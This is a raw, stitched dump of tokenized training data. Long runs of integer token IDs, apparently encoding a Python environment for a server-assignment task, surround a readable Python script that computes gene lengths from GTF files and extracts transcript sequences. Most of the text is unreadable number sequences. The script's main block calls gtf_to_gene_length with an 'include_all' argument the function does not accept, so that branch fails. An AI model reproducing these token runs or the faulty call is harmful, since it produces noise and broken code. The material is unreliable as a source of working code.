29906,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29941,
29892,
29900,
16272,
29941,
29892,
29896,
16272,
29941,
29892,
29906,
16272,
29941,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29946,
29892,
29900,
16272,
29946,
29892,
29896,
16272,
29946,
29892,
29906,
16272,
29946,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29945,
29892,
29900,
16272,
29945,
29892,
29896,
16272,
29945,
29892,
29906,
16272,
29945,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29953,
29892,
29900,
16272,
29953,
29892,
29896,
16272,
29953,
29892,
29906,
16272,
29953,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29955,
29892,
29900,
16272,
29955,
29892,
29896,
16272,
29955,
29892,
29906,
16272,
29955,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29947,
29892,
29900,
16272,
29947,
29892,
29896,
16272,
29947,
29892,
29906,
16272,
29947,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29929,
29892,
29900,
16272,
29929,
29892,
29896,
16272,
29929,
29892,
29906,
16272,
29929,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29896,
29900,
29892,
29900,
16272,
29896,
29900,
29892,
29896,
16272,
29896,
29900,
29892,
29906,
16272,
29896,
29900,
29892,
29941,
1402,
13,
462,
462,
418,
518,
29896,
29896,
29892,
29900,
16272,
29896,
29896,
29892,
29896,
16272,
29896,
29896,
29892,
29906,
16272,
29896,
29896,
29892,
29941,
24960,
13,
4706,
1583,
29889,
29876,
29918,
7387,
353,
7431,
29898,
1311,
29889,
2467,
29918,
3493,
29897,
13,
4706,
1583,
29889,
18253,
29918,
5344,
353,
10518,
29889,
17271,
29898,
9302,
29889,
2378,
4197,
29961,
29900,
29892,
29896,
29892,
29945,
29892,
29896,
29906,
1402,
13,
462,
462,
462,
29871,
518,
29896,
29892,
29900,
29892,
29946,
29892,
29906,
1402,
13,
462,
462,
462,
29871,
518,
29945,
29892,
29946,
29892,
29900,
29892,
29941,
1402,
13,
462,
462,
462,
29871,
518,
29896,
29906,
29892,
29906,
29892,
29941,
29892,
29900,
5262,
511,
13,
462,
462,
9651,
4341,
11759,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
2314,
13,
4706,
1583,
29889,
2974,
29918,
12715,
353,
1923,
29918,
12715,
13,
4706,
1583,
29889,
29984,
29903,
29879,
353,
1583,
29889,
949,
29918,
1445,
580,
13,
4706,
1583,
29889,
3859,
29918,
2344,
353,
2106,
29918,
2344,
13,
13,
4706,
1583,
29889,
18253,
29918,
2344,
353,
1583,
29889,
18253,
29918,
2344,
580,
13,
13,
1678,
822,
4331,
29898,
1311,
29892,
3158,
29892,
2106,
29892,
21544,
1125,
13,
4706,
269,
353,
2106,
29889,
8552,
580,
13,
4706,
396,
2467,
29918,
6370,
29961,
31213,
235,
178,
165,
30214,
31618,
30846,
30780,
30210,
31520,
31358,
30943,
29962,
13,
4706,
3158,
29918,
6370,
353,
1583,
29889,
2467,
29918,
3493,
29961,
2467,
29962,
13,
4706,
3855,
353,
3158,
29918,
6370,
29961,
29900,
29962,
13,
4706,
2380,
29918,
2974,
353,
3158,
29918,
6370,
29961,
29896,
29962,
13,
4706,
269,
29889,
309,
542,
29961,
29939,
29892,
584,
29962,
353,
29871,
29900,
13,
4706,
269,
29889,
309,
542,
29961,
29939,
29892,
2380,
29918,
2974,
29962,
353,
29871,
29896,
13,
13,
4706,
3438,
29918,
1482,
353,
1583,
29889,
18253,
29918,
29883,
562,
5987,
29898,
29939,
29892,
2380,
29918,
2974,
29897,
13,
4706,
565,
3438,
29918,
1482,
1405,
21544,
29961,
29939,
5387,
13,
9651,
338,
29918,
6878,
357,
353,
5852,
13,
4706,
1683,
29901,
13,
9651,
338,
29918,
6878,
357,
353,
7700,
13,
9651,
396,
21544,
29961,
2467,
29918,
6370,
29961,
29900,
5262,
353,
3438,
29918,
1482,
13,
13,
4706,
21544,
29961,
29939,
29962,
353,
3438,
29918,
1482,
13,
4706,
3438,
29918,
497,
353,
1583,
29889,
18253,
29918,
497,
29898,
18253,
29879,
29897,
13,
4706,
20751,
353,
1583,
29889,
276,
1328,
29898,
18253,
29918,
497,
29892,
269,
29897,
13,
4706,
269,
29918,
353,
269,
13,
13,
4706,
736,
269,
3383,
21544,
29892,
20751,
29892,
3438,
29918,
497,
29892,
338,
29918,
6878,
357,
13,
13,
13,
1678,
396,
31791,
31683,
31320,
233,
160,
162,
30210,
31217,
30631,
29871,
31333,
233,
142,
172,
30210,
2467,
30505,
233,
140,
170,
30448,
30577,
30822,
31531,
31613,
231,
190,
144,
31516,
31423,
30417,
31462,
470,
29871,
31791,
31683,
31531,
31613,
30392,
31191,
30505,
31548,
31267,
233,
162,
147,
31893,
30993,
232,
137,
184,
30557,
30214,
31507,
30847,
235,
183,
162,
31526,
30413,
30606,
235,
164,
164,
13,
1678,
822,
338,
29918,
4951,
728,
29898,
1311,
1125,
13,
4706,
396,
14402,
13,
4706,
736,
5852,
13,
13,
1678,
396,
1303,
278,
934,
322,
3787,
297,
385,
1409,
29961,
1972,
17094,
2974,
29896,
29892,
2974,
29906,
29892,
3045,
636,
5262,
13,
1678,
822,
1303,
29918,
1445,
29898,
1311,
1125,
13,
4706,
1923,
29918,
12715,
353,
1583,
29889,
2974,
29918,
12715,
13,
4706,
411,
1722,
703,
29928,
3583,
29216,
3002,
29928,
4401,
29905,
1123,
262,
1454,
13561,
29899,
21891,
29899,
2541,
29899,
29056,
29899,
6207,
29905,
10853,
29905,
3421,
1252,
15362,
29905,
9544,
29941,
29918,
1688,
29905,
3010,
6708,
29918,
1688,
613,
29915,
29878,
1495,
408,
285,
29901,
13,
9651,
2793,
353,
285,
29889,
949,
9012,
580,
13,
9651,
660,
29903,
29879,
353,
5159,
13,
9651,
363,
2944,
297,
2793,
29901,
13,
18884,
660,
29903,
353,
5159,
13,
18884,
2944,
353,
2944,
29889,
17010,
14182,
29876,
1159,
13,
18884,
3855,
353,
2944,
29889,
5451,
28165,
1159,
29961,
29900,
29962,
13,
18884,
3646,
6708,
353,
2944,
29889,
5451,
28165,
1159,
29961,
29896,
17531,
13,
18884,
3646,
6708,
353,
1051,
29898,
1958,
29898,
524,
29892,
3646,
6708,
876,
13,
18884,
12424,
353,
5159,
13,
18884,
363,
5352,
297,
3646,
6708,
29901,
13,
462,
1678,
1923,
353,
1923,
29918,
12715,
29961,
2974,
29918,
12715,
29889,
2029,
7503,
29892,
5352,
29962,
1275,
29871,
29896,
1822,
2248,
29961,
29900,
29962,
13,
462,
1678,
12424,
29889,
4397,
29898,
2974,
29897,
13,
18884,
660,
29903,
29889,
4397,
29898,
524,
29898,
29939,
876,
13,
18884,
660,
29903,
29889,
4397,
29898,
643,
874,
29897,
13,
18884,
660,
29903,
29879,
29889,
4397,
29898,
29984,
29903,
29897,
13,
4706,
736,
660,
29903,
29879,
13,
13,
1678,
396,
10272,
278,
2847,
21544,
1409,
2729,
373,
278,
2847,
2106,
4636,
29889,
1432,
1543,
2755,
278,
3001,
3438,
310,
278,
2346,
13,
1678,
822,
3438,
29918,
2344,
29898,
1311,
1125,
13,
4706,
2106,
29918,
2344,
353,
1583,
29889,
3859,
29918,
2344,
13,
4706,
396,
1596,
29898,
2435,
29898,
3859,
29918,
2344,
876,
13,
4706,
5922,
353,
1583,
29889,
3859,
29918,
2378,
29898,
3859,
29918,
2344,
29897,
13,
4706,
396,
1596,
29898,
2435,
29898,
28631,
876,
13,
4706,
21544,
353,
5159,
13,
4706,
396,
1596,
29898,
2435,
29898,
3859,
29918,
2344,
876,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
3859,
29918,
2344,
22164,
13,
9651,
2380,
29918,
2974,
353,
5922,
29961,
29875,
3816,
29896,
29962,
13,
9651,
3438,
353,
1583,
29889,
18253,
29918,
29883,
562,
5987,
29898,
29875,
29892,
29871,
2380,
29918,
2974,
29897,
13,
9651,
21544,
29889,
4397,
29898,
18253,
29897,
13,
4706,
736,
21544,
13,
13,
13,
1678,
822,
3438,
29918,
29883,
562,
5987,
29898,
1311,
29892,
29939,
29892,
2248,
29918,
2974,
1125,
13,
4706,
3438,
353,
29871,
29900,
13,
4706,
363,
432,
297,
3464,
29898,
2435,
29898,
1311,
29889,
29984,
29903,
29879,
29961,
29939,
3816,
29896,
12622,
29901,
13,
9651,
3646,
29918,
2974,
353,
1583,
29889,
29984,
29903,
29879,
29961,
29939,
3816,
29896,
3816,
29926,
29962,
13,
9651,
3438,
4619,
1583,
29889,
18253,
29918,
5344,
29889,
309,
542,
29961,
2248,
29918,
2974,
29892,
3646,
29918,
2974,
29962,
13,
4706,
736,
3438,
13,
13,
13,
1678,
396,
1653,
278,
2847,
2106,
4636,
30419,
8172,
30409,
13,
13,
13,
1678,
396,
10272,
278,
3001,
20751,
2729,
373,
278,
21544,
1409,
13,
1678,
822,
3438,
29918,
497,
29898,
1311,
29892,
21544,
1125,
13,
4706,
3438,
29918,
497,
353,
29871,
29900,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
18253,
29879,
22164,
13,
9651,
3438,
29918,
497,
4619,
21544,
29961,
29875,
29962,
13,
4706,
736,
3438,
29918,
497,
13,
13,
1678,
822,
20751,
29898,
1311,
29892,
3438,
29918,
497,
29892,
2106,
1125,
13,
4706,
1051,
353,
5159,
13,
4706,
363,
474,
297,
2106,
29889,
13099,
29901,
13,
9651,
1051,
29889,
4397,
29898,
3859,
29961,
29875,
1822,
2083,
3101,
13,
13,
4706,
2254,
29918,
7915,
29918,
1707,
353,
7442,
29889,
1707,
29898,
1761,
29897,
13,
4706,
20751,
353,
313,
2435,
29898,
3859,
6802,
18253,
29918,
497,
29897,
334,
1583,
29889,
2220,
29898,
29896,
29889,
29896,
29892,
2254,
29918,
7915,
29918,
1707,
29897,
13,
4706,
736,
20751,
13,
13,
1678,
822,
740,
29898,
1311,
29892,
263,
29892,
921,
1125,
13,
4706,
343,
353,
29871,
29896,
29900,
29900,
14571,
29874,
1068,
29916,
29897,
13,
4706,
736,
343,
13,
13,
1678,
396,
4327,
278,
2106,
4636,
964,
1409,
13,
1678,
822,
2106,
29918,
2378,
29898,
1311,
29892,
2106,
1125,
13,
4706,
5922,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
3859,
22164,
13,
9651,
363,
432,
297,
3464,
29898,
2435,
29898,
3859,
29889,
13099,
22164,
13,
18884,
2106,
29918,
2749,
353,
5159,
13,
18884,
565,
2106,
29889,
309,
542,
29961,
29875,
29892,
432,
29962,
1275,
29871,
29896,
29901,
13,
462,
1678,
2106,
29918,
2749,
29889,
4397,
29898,
29875,
29897,
13,
462,
1678,
2106,
29918,
2749,
29889,
4397,
29898,
29926,
29897,
13,
462,
1678,
5922,
29889,
4397,
29898,
3859,
29918,
2749,
29897,
13,
13,
4706,
736,
5922,
13,
13,
13,
13,
1753,
2106,
29918,
2344,
7295,
13,
1678,
2069,
29918,
3859,
353,
10518,
29889,
17271,
29898,
9302,
29889,
3298,
359,
29898,
29941,
29906,
29955,
29930,
29947,
467,
690,
14443,
29898,
29941,
29906,
29955,
29892,
29871,
29947,
511,
4341,
11759,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29892,
29871,
29955,
2314,
13,
1678,
363,
474,
297,
3464,
29898,
2435,
29898,
2344,
29918,
3859,
22164,
13,
4706,
432,
353,
4036,
29889,
9502,
524,
29898,
29900,
29892,
29871,
29955,
29897,
13,
4706,
2069,
29918,
3859,
29889,
309,
542,
29961,
29875,
3816,
29926,
29962,
353,
29871,
29896,
13,
1678,
736,
2069,
29918,
3859,
13,
13,
29937,
565,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
29937,
268,
1923,
29918,
12715,
353,
10518,
29889,
17271,
29898,
9302,
29889,
2378,
4197,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
13,
29937,
462,
462,
18884,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
14664,
13,
29937,
462,
462,
268,
620,
14443,
29898,
29947,
29892,
29871,
29906,
29946,
511,
13,
29937,
462,
462,
268,
4341,
29922,
9302,
29889,
279,
927,
29898,
29906,
29946,
876,
13,
13,
1678,
396,
8829,
353,
2233,
5402,
29898,
3859,
29918,
2344,
3285,
1923,
29918,
12715,
29897,
13,
1678,
396,
660,
893,
353,
8829,
29889,
29984,
29903,
29879,
13,
1678,
396,
1596,
29898,
29984,
893,
29897,
13,
1678,
396,
363,
474,
297,
3464,
29898,
2435,
29898,
29984,
893,
22164,
13,
1678,
396,
268,
3855,
353,
474,
13,
1678,
396,
268,
363,
432,
297,
3464,
29898,
2435,
29898,
2974,
29918,
12715,
22164,
13,
1678,
396,
308,
2380,
29918,
2974,
353,
432,
13,
13,
13,
13,
1678,
396,
1596,
29898,
6272,
29889,
18253,
29918,
2344,
29897,
13,
1678,
396,
1596,
703,
1576,
20751,
310,
2847,
2106,
338,
29901,
1159,
13,
1678,
396,
1596,
29898,
6272,
29889,
276,
1328,
29898,
6272,
29889,
18253,
29918,
497,
29898,
6272,
29889,
18253,
29918,
2344,
511,
8829,
29889,
3859,
29918,
2344,
876,
13,
13,
1678,
396,
1596,
29898,
6272,
29889,
3859,
29918,
2344,
29897,
13,
1678,
396,
8820,
29922,
1761,
29898,
3881,
29898,
6272,
29889,
29876,
29918,
7387,
876,
13,
1678,
396,
1596,
29898,
7387,
29897,
13,
1678,
396,
8829,
29889,
7045,
29898,
29896,
29900,
29900,
29892,
2767,
29897,
13,
1678,
396,
8829,
29889,
3396,
7888,
580,
2
] |
seqtools/get_gene_info.py | NeilHumps/SequenceTools | 0 | 92378 | from Bio import SeqIO
import gzip
import os
import sys
from seqtools.general import rc, translate
def parse_gtf_dict(gtf_str):
return {i.split(' "')[0]:i.split(' "')[1] for i in gtf_str.split('"; ')}
def gtf_to_gene_length(gtf_file, outfile, sum_type='transcript_longest'):
"""
Get Gene length, 3 options:
1. transcript_longest: Length of longest transcript (default)
2. gene_unique: Length of all unique 'expressed DNA' i.e. count every base that is expressed once
3. gene_all: Total length of all 'expressed DNA' i.e. if transcripts contain overlapping exons then count exon length multiple times
"""
if not sum_type == 'transcript_longest':
gene_dict = {}
gene_count = 0
with open(gtf_file) as input_fh:
for line in input_fh:
if not line.startswith('#'):
fields = line.strip().split('\t')
if fields[2] == 'exon':
gtf_dict = parse_gtf_dict(fields[8])
if not gtf_dict['gene_name'] in gene_dict:
gene_count += 1
if gene_count % 1000 == 0:
print(' - {0} genes processed'.format(gene_count))
gene_dict[gtf_dict['gene_name']] = []
gene_dict[gtf_dict['gene_name']] += [i for i in range(int(fields[3])-1, int(fields[4]))]
gene_lengths = []
for gene in gene_dict:
if sum_type == 'gene_all':
gene_lengths.append('{0},{1}\n'.format(gene, len(gene_dict[gene])))
elif sum_type == 'gene_unique':
gene_lengths.append('{0},{1}\n'.format(gene, len(set(gene_dict[gene]))))
else:
raise IOError('sum_type must be gene_all, gene_unique or transcript_longest')
else:
gene_dict = {}
gene_count = 0
with open(gtf_file) as input_fh:
for line in input_fh:
if not line.startswith('#'):
fields = line.strip().split('\t')
if fields[2] == 'exon':
gtf_dict = parse_gtf_dict(fields[8])
if not gtf_dict['gene_name'] in gene_dict:
gene_count += 1
if gene_count % 1000 == 0:
print(' - {0} genes processed'.format(gene_count))
gene_dict[gtf_dict['gene_name']] = {}
if not gtf_dict['transcript_id'] in gene_dict[gtf_dict['gene_name']]:
gene_dict[gtf_dict['gene_name']][gtf_dict['transcript_id']] = 0
gene_dict[gtf_dict['gene_name']][gtf_dict['transcript_id']] += int(fields[4]) - int(fields[3]) + 1
gene_lengths = []
for gene in gene_dict:
transcript_lengths = gene_dict[gene].values()
gene_lengths.append('{0},{1}\n'.format(gene, max(transcript_lengths)))
with open(outfile, 'w') as output_fh:
for gene in gene_lengths:
output_fh.write(gene)
def get_transcripts(ens_gene_id, output_dir, gtf_file, fasta_str,
protein=False):
exons = {}
if protein == True:
feature_type = 'CDS'
else:
feature_type = 'exon'
with open(gtf_file) as input_fh:
for line in input_fh:
if not line.startswith('#'):
fields = line.strip().split('\t')
if fields[2] == feature_type:
gtf_dict = parse_gtf_dict(fields[8])
if gtf_dict['gene_id'] == ens_gene_id:
if not gtf_dict['transcript_id'] in exons:
exons[gtf_dict['transcript_id']] = []
exons[gtf_dict['transcript_id']].append({
'chrom': fields[0],
'start': int(fields[3]),
'end': int(fields[4]),
'strand': fields[6],
})
for transcript in exons:
if set([i['strand'] for i in exons[transcript]]) == set('+'):
strand = '+'
sorted_exons = sorted(exons[transcript], key=lambda i:i['start'])
elif set([i['strand'] for i in exons[transcript]]) == set('-'):
strand = '-'
sorted_exons = sorted(exons[transcript], key=lambda i:i['start'], reverse=True)
sequence = ''
with gzip.open(fasta_str.format(exons[transcript][0]['chrom']), 'rt') as input_fh:
for record in SeqIO.parse(input_fh, 'fasta'):
chrom_seq = str(record.seq)
for exon in sorted_exons:
if strand == '+':
sequence += chrom_seq[exon['start']-1:exon['end']]
elif strand == '-':
sequence += rc(chrom_seq[exon['start']-1:exon['end']])
if protein == True:
sequence = translate(sequence)
with open(os.path.join(output_dir, transcript + '.fa'), 'w') as output_fh:
output_fh.write('>{0}\n{1}\n'.format(transcript, sequence))
print('fasta file written: {0}/{1}.fa'.format(output_dir, transcript))
if __name__ == '__main__':
if len(sys.argv) == 3:
# gtf wget from ensembl (wget ftp://ftp.ensembl.org/pub/release-95/gtf/mus_musculus/Mus_musculus.GRCm38.95.gtf.gz)
#gtf_to_gene_length(gtf_file='Mus_musculus.GRCm38.95.gtf',
# outfile='mm10_gene_lengths.txt')
gtf_to_gene_length(gtf_file=sys.argv[1],
outfile=sys.argv[2])
elif len(sys.argv) == 4:
gtf_to_gene_length(gtf_file=sys.argv[1],
outfile=sys.argv[2],
include_all=sys.argv[3])
else:
pass
| [
1,
515,
21184,
1053,
25981,
5971,
13,
5215,
330,
7554,
13,
5215,
2897,
13,
5215,
10876,
13,
13,
3166,
19359,
8504,
29889,
17492,
1053,
364,
29883,
29892,
14240,
13,
13,
13,
1753,
6088,
29918,
4141,
29888,
29918,
8977,
29898,
4141,
29888,
29918,
710,
1125,
13,
1678,
736,
426,
29875,
29889,
5451,
877,
376,
29861,
29900,
5387,
29875,
29889,
5451,
877,
376,
29861,
29896,
29962,
363,
474,
297,
330,
13264,
29918,
710,
29889,
5451,
877,
1769,
525,
2915,
13,
13,
13,
1753,
330,
13264,
29918,
517,
29918,
29887,
1600,
29918,
2848,
29898,
4141,
29888,
29918,
1445,
29892,
714,
1445,
29892,
2533,
29918,
1853,
2433,
3286,
924,
29918,
5426,
342,
29374,
13,
1678,
9995,
13,
1678,
3617,
15350,
3309,
29892,
29871,
29941,
3987,
29901,
13,
268,
29896,
29889,
1301,
924,
29918,
5426,
342,
29901,
365,
1477,
310,
27217,
1301,
924,
313,
4381,
29897,
13,
268,
29906,
29889,
18530,
29918,
13092,
29901,
365,
1477,
310,
599,
5412,
525,
735,
13120,
25348,
29915,
474,
29889,
29872,
29889,
2302,
1432,
2967,
393,
338,
13384,
2748,
13,
268,
29941,
29889,
18530,
29918,
497,
29901,
14990,
3309,
310,
599,
525,
735,
13120,
25348,
29915,
474,
29889,
29872,
29889,
565,
1301,
924,
29879,
1712,
975,
433,
3262,
429,
787,
769,
2302,
429,
265,
3309,
2999,
3064,
13,
1678,
9995,
13,
1678,
565,
451,
2533,
29918,
1853,
1275,
525,
3286,
924,
29918,
5426,
342,
2396,
13,
4706,
18530,
29918,
8977,
353,
6571,
13,
4706,
18530,
29918,
2798,
353,
29871,
29900,
13,
4706,
411,
1722,
29898,
4141,
29888,
29918,
1445,
29897,
408,
1881,
29918,
29888,
29882,
29901,
13,
9651,
363,
1196,
297,
1881,
29918,
29888,
29882,
29901,
13,
18884,
565,
451,
1196,
29889,
27382,
2541,
14237,
29374,
13,
462,
1678,
4235,
353,
1196,
29889,
17010,
2141,
5451,
28909,
29873,
1495,
13,
462,
1678,
565,
4235,
29961,
29906,
29962,
1275,
525,
735,
265,
2396,
13,
462,
4706,
330,
13264,
29918,
8977,
353,
6088,
29918,
4141,
29888,
29918,
8977,
29898,
9621,
29961,
29947,
2314,
13,
462,
4706,
565,
451,
330,
13264,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
297,
18530,
29918,
8977,
29901,
13,
462,
9651,
18530,
29918,
2798,
4619,
29871,
29896,
13,
462,
9651,
565,
18530,
29918,
2798,
1273,
29871,
29896,
29900,
29900,
29900,
1275,
29871,
29900,
29901,
13,
462,
18884,
1596,
877,
448,
426,
29900,
29913,
2531,
267,
19356,
4286,
4830,
29898,
29887,
1600,
29918,
2798,
876,
13,
462,
9651,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
29962,
353,
5159,
13,
462,
4706,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
29962,
4619,
518,
29875,
363,
474,
297,
3464,
29898,
524,
29898,
9621,
29961,
29941,
2314,
29899,
29896,
29892,
938,
29898,
9621,
29961,
29946,
12622,
29962,
13,
462,
308,
13,
4706,
18530,
29918,
2848,
29879,
353,
5159,
13,
4706,
363,
18530,
297,
18530,
29918,
8977,
29901,
13,
9651,
565,
2533,
29918,
1853,
1275,
525,
29887,
1600,
29918,
497,
2396,
13,
18884,
18530,
29918,
2848,
29879,
29889,
4397,
877,
29912,
29900,
29087,
29896,
1012,
29876,
4286,
4830,
29898,
29887,
1600,
29892,
7431,
29898,
29887,
1600,
29918,
8977,
29961,
29887,
1600,
29962,
4961,
13,
9651,
25342,
2533,
29918,
1853,
1275,
525,
29887,
1600,
29918,
13092,
2396,
13,
18884,
18530,
29918,
2848,
29879,
29889,
4397,
877,
29912,
29900,
29087,
29896,
1012,
29876,
4286,
4830,
29898,
29887,
1600,
29892,
7431,
29898,
842,
29898,
29887,
1600,
29918,
8977,
29961,
29887,
1600,
12622,
876,
13,
9651,
1683,
29901,
13,
18884,
12020,
10663,
2392,
877,
2083,
29918,
1853,
1818,
367,
18530,
29918,
497,
29892,
18530,
29918,
13092,
470,
1301,
924,
29918,
5426,
342,
1495,
13,
1678,
1683,
29901,
13,
4706,
18530,
29918,
8977,
353,
6571,
13,
4706,
18530,
29918,
2798,
353,
29871,
29900,
13,
4706,
411,
1722,
29898,
4141,
29888,
29918,
1445,
29897,
408,
1881,
29918,
29888,
29882,
29901,
13,
9651,
363,
1196,
297,
1881,
29918,
29888,
29882,
29901,
13,
18884,
565,
451,
1196,
29889,
27382,
2541,
14237,
29374,
13,
462,
1678,
4235,
353,
1196,
29889,
17010,
2141,
5451,
28909,
29873,
1495,
13,
462,
1678,
565,
4235,
29961,
29906,
29962,
1275,
525,
735,
265,
2396,
13,
462,
4706,
330,
13264,
29918,
8977,
353,
6088,
29918,
4141,
29888,
29918,
8977,
29898,
9621,
29961,
29947,
2314,
13,
462,
4706,
565,
451,
330,
13264,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
297,
18530,
29918,
8977,
29901,
13,
462,
9651,
18530,
29918,
2798,
4619,
29871,
29896,
13,
462,
9651,
565,
18530,
29918,
2798,
1273,
29871,
29896,
29900,
29900,
29900,
1275,
29871,
29900,
29901,
13,
462,
18884,
1596,
877,
448,
426,
29900,
29913,
2531,
267,
19356,
4286,
4830,
29898,
29887,
1600,
29918,
2798,
876,
13,
462,
9651,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
29962,
353,
6571,
13,
462,
4706,
565,
451,
330,
13264,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
297,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
5387,
13,
462,
9651,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
3816,
4141,
29888,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
29962,
353,
29871,
29900,
13,
462,
4706,
18530,
29918,
8977,
29961,
4141,
29888,
29918,
8977,
1839,
29887,
1600,
29918,
978,
2033,
3816,
4141,
29888,
29918,
8977,
1839,
3286,
924,
29918,
333,
2033,
29962,
4619,
938,
29898,
9621,
29961,
29946,
2314,
448,
938,
29898,
9621,
29961,
29941,
2314,
718,
29871,
29896,
13,
462,
308,
13,
4706,
18530,
29918,
2848,
29879,
353,
5159,
13,
4706,
363,
18530,
297,
18530,
29918,
8977,
29901,
13,
9651,
1301,
924,
29918,
2848,
29879,
353,
18530,
29918,
8977,
29961,
29887,
1600,
1822,
5975,
580,
13,
9651,
18530,
29918,
2848,
29879,
29889,
4397,
877,
29912,
29900,
29087,
29896,
1012,
29876,
4286,
4830,
29898,
29887,
1600,
29892,
4236,
29898,
3286,
924,
29918,
2848,
29879,
4961,
13,
13,
1678,
411,
1722,
29898,
449,
1445,
29892,
525,
29893,
1495,
408,
